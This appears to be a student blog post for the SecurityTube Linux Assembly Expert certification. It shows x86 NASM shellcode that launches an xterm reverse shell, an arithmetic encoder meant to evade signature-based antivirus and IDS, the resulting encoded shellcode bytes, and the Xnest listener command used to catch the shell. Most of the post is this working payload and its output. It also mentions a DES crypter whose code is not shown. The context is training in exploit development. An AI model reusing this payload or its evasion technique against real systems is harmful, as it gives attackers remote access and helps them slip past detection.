The final assignment is to create a crypter which will encrypt a given shellcode and decrypt the same . This was one of the difficult assignment for me . I have gone through many blogs and websites and finally decided to create one based on this website . http://www.laurentluce.com/posts/python-and-cryptography-with-pycrypto/ . The below code is my final crypter code . It uses DES in CFB mode with a static key and random IV. The entire working of the algorithm and the usage using pycrypto is best written in the above mentioned blog .
In this assignment our task is to create a custom encoder/decoder to bypass an AV/ IDS which uses signature based analysis .
Step 1 : Shellcode Creation
The first step was to create a shellcode. I have seen some nice reverse shells from bernardodamele.blogspot.ae which uses inbuilt OS functionalities / capabilities .
I choose to create a shellcode based on xterm since i haven't tried that previously and wanted to have a look .
Screenshot which shows the usage of Xterm reverse shell from bernardodamele.blogspot.ae
I was using an Ubuntu x86 OS and the command i wanted to use was this
xterm -display 127.1.1.1:10
Note: The above command will send an xterm display back to 127.1.1.1 with display 10 .
127.1.1.1 is also a loop back address similar to 127.0.0.1 , in fact all addresses from 127.0.0.1 to 127.255.255.254 are loop back addresses . I used 127.1.1.1 to remove the bad characters which can create issues in the shellcode
The shellcode was created using the execve stack technique and the following is my nasm file .
--------------------------------------------------------------------------------------------------------------------
section .text
global _start
_start:
xoreax,eax xoredx,edx xoresi,esi xorecx,ecx
push eax
push 0x30313a31 ; setting the listening IP and
display , used 127.1.1.1:10 , change this section to set your IP
push 0x2e312e31
push 0x2e373231 movesi,esp
push eax
push 0x79616c70 ; -display
push 0x7369642d movedi,esp
push eax
push 0x6d726574 ; ///usr/bin/xterm
push 0x782f6e69
push 0x622f7273
push 0x752f2f2f movebx,esp
push eax
push esi
push edi
push ebx movecx,esp mov al,11 int 0x80
--------------------------------------------------------------------------------------------------------------------
The nasm file was compiled and linked.
The op codes were checked to see if there are any bad characters
After that the op codes were dumped and our shellcode is obtained
I used a simple arithmetic encoder to carry out the encoding task . The below python script will subtract the number "1" from each of the shellcode characters .
call decoder
Shellcode: db 0x30,0xbf,0x30,0xd1,0x30,0xf5,0x30,0xc8,0x4f,0x67,0x30,0x39,0x30,0x2f,0x67,0x30,0x2d,0x30,0x2d,0x67,0x30,0x31,0x36,0x2d,0x88,0xe5,0x4f,0x67,0x6f,0x6b,0x60,0x78,0x67,0x2c,0x63,0x68,0x72,0x88,0xe6,0x4f,0x67,0x73,0x64,0x71,0x6c,0x67,0x68,0x6d,0x2e,0x77,0x67,0x72,0x71,0x2e,0x61,0x67,0x2e,0x2e,0x2e,0x74,0x88,0xe2,0x4f,0x55,0x56,0x52,0x88,0xe0,0xaf,0x0a,0xcc,0x7f
We will listen using the below command to catch the xterm reverse shell
Xnest :10 ( Will listen on display 10 ) .
Note : No need to specify the port separately as the port will be automatically calculated based on the display . eg Xnest :1 will listen on TCP port 6001 and Xnest : 10 will listen on 6010
Once our shellcode is executed a reverse shell is obtained on our listener.
This blog post has been created
for completing the requirements of the SecurityTube Linux Assembly Expert
certification